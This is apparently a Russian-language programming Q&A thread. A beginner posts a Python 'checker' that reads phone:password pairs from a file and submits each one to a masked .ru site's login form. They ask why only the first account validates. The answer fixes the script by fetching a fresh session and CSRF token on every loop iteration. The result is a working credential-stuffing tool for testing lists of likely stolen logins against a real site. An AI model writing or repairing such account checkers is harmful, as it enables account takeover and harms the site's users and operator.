Как получать новый токен,для каждого новго запроса?

Пишу чекер для сайта, сайт отсылает токен при каждом новом запросе

<meta name="csrf-token" content="YWkbF2WVwqUv1eQyuJcm_J1NDQwu8IqptT2w2i4SiBAlAVNyCaKjwBq5plbp0B-zyn5CP22f8N3vZcnqGWjgYQ==">

мой код python выглядит так

import requests
from bs4 import BeautifulSoup



file = open('1.txt').read().split('\n')


url = 'https://****.ru/auth/login'
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'}

session = requests.Session()
session.headers.update(headers)

r = session.get(url)
soup = BeautifulSoup(r.content, 'html.parser')

csrf = soup.find('meta', {'name': 'csrf-token'})['content']

url_auth = 'https://****.ru/auth/login'

for account in file:
    phone = account.split(":")[0]
    password = account.split(":")[1]


    u = phone
    p = password





    payload = {
    '_csrf': csrf,
    'LoginForm[login]': phone,
    'LoginForm[password]': password,
    }

    r = session.post(url_auth, data=payload)


    print(r.text)

код чекает до первого входа в акааунт,остальные аккаунты считает не валидными,мне нужно чтоб строка

csrf = soup.find('meta', {'name': 'csrf-token'})['content']

обновлялась при каждом новом запросе. Подскажите пожалуйста как это сделать и не ругайте сильно это мой первый код в жизни:)


Ответы (1 шт):

Автор решения: Roman-Stop RU aggression in UA

Чтоб получать новый код для каждой попытки логина нужно делать новый запрос на начальную страницу на каждой итерации цикла:

...

url_auth = 'https://****.ru/auth/login'

for account in file:
    session = requests.Session()
    session.headers.update(headers)
    r = session.get(url)
    soup = BeautifulSoup(r.content, 'html.parser')

    csrf = soup.find('meta', {'name': 'csrf-token'})['content']

    phone = account.split(":")[0]
    password = account.split(":")[1]
    # далее, как и было
→ Ссылка